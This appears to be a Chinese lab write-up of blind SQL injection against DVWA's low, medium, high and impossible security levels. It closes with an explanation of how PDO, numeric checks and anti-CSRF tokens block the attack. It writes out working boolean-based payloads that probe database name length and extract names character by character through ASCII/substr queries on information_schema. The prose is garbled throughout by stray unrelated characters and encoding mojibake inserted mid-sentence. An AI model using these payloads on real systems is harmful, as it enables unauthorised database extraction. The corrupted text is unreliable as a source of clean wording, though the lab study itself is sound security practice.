low
先判斷過濾情況庐冯,用1' and 1 = 1 -- - 和 1' and 1=2 -- -可以發(fā)現(xiàn)用單引號將id擴了起來
接著判斷數(shù)據(jù)庫名長度 輸入1' and length(database()) > 3 -- - 沒有問題?
輸入1' and length(database()) > 4-- -有問題 說明當前庫名長度為4
接著就是查詢庫名的第一個字符?1' and ascii(substr(database(),1,1))>88 # 查詢第一個字符的ASCII碼暗挑,后面三位也是這樣查詢骂删。
比如輸入1’ and ascii(substr(database(),1,1))>99 # 出現(xiàn)如下情況:
而輸入1’ and ascii(substr(database(),1,1))>100 # 時輸入如下情況:
則可以判斷當前庫名的第一個字符ASCII值為100,也就是d臭胜。其它的字符查詢只需修改substr()函數(shù)的第二個參數(shù)值為2到4即可。
查詢表明滥玷,字段名背苦,字段值也是如此,不過記得在查詢之前要先查詢出目標的長度
比如查詢表名長度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#
查詢第一個表名的第一個字符:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#
其它的查詢也是如此就不再列舉遗契。
medium
跟上一篇文章里說到的中級注入類似辐棒,采用了下拉列表,且使用POST傳參,我們可以使用burpsuit抓包或者hackbar來做漾根,這里我就用hackbar吧
測試如下:
沒有引號泰涂,也沒有其它的過濾,那么接下來的步驟就和上面的低級別做法一樣了辐怕,過逼蒙!
high
用了個單獨的頁面來傳參,此舉是為了避免SqlMap的自動化注入寄疏,但對手動的沒影響是牢,接下來的步驟就和low級別的一毛一樣,過陕截!
impossible
簡單說一下源碼:
impossible.php代碼采用了PDO技術驳棱,劃清了代碼與數(shù)據(jù)的界限,有效防御SQL注入
只有當返回的查詢結果數(shù)量為一個記錄時农曲,才會成功輸出社搅,這樣就有效預防了暴庫
利用is_numeric($id)函數(shù)來判斷輸入的id是否是數(shù)字or數(shù)字字符串,滿足條件才知曉query查詢語句
Anti-CSRF token機制的加入了進一步提高了安全性乳规,session_token是隨機生成的動態(tài)值形葬,每次向服務器請求,客戶端都會攜帶最新從服務端已下發(fā)的session_token值向服務器請求作匹配驗證暮的,相互匹配才會驗證通過笙以。
OK 過!